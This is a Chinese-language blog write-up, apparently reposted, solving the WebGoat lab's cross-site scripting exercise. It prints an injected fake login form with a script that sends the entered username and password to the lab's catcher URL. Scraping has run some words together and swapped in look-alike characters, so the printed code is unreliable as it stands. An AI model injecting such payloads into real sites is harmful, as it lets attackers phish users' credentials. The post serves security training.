【WebGoat笔记】--- Cross-Site Scripting(XSS)
?
目標(biāo):
偽造一個(gè)登陸界面,要求用戶輸入用戶名和密碼,將數(shù)據(jù)提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
?
解決步驟:
首先:隨意輸入搜索內(nèi)容,如:123.
打開(kāi)源代碼,檢測(cè)是否有未關(guān)閉的標(biāo)簽。由于這是一個(gè)入門(mén)級(jí)的練手任務(wù),代碼漏洞百出,這一層就不用考慮了。
第二步:嘗試在搜索欄中插入JavaScript代碼,比如通用的:<script>alert("XSS!");</script>
成功報(bào)出提示信息:
值得注意的是,JS腳本語(yǔ)言的插入在我的機(jī)器上只能用IE實(shí)行,在chrome上則沒(méi)有任何反應(yīng)。可能是chrome所用腳本語(yǔ)言有所區(qū)別。
?
第三步:構(gòu)造代碼,偽造一個(gè)登陸界面:
<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>?
其中,οnclick="hack()"是用戶點(diǎn)擊登錄之后的按鈕行為,具體函數(shù)在隨后構(gòu)建。
第四步:繼續(xù)完善欺騙代碼,構(gòu)建JS函數(shù),將獲取的用戶名和密碼提交到相應(yīng)的鏈接上。最后的輸入代碼如下:
<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>?
這樣,當(dāng)被欺騙的用戶輸入用戶名和密碼之后,將報(bào)出提示信息,并將用戶名和密碼發(fā)送到相應(yīng)鏈接。
webgoat的提示說(shuō),如果創(chuàng)建一個(gè)image:XSSImage=newImage(),并聲明XSSImage.src=SOME_URL那么JavaScript會(huì)執(zhí)行一個(gè)提交。對(duì)JS語(yǔ)言不熟,這個(gè)今后再研究。
?
轉(zhuǎn)載于:https://www.cnblogs.com/y0umer/archive/2011/12/21/3839117.html
總結(jié)
以上是生活随笔為你收集整理的【WebGoat笔记】--- Cross-Site Scripting(XSS)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 使用httpHandlers进行url
- 下一篇: IE 域组策略对服务器无效的原因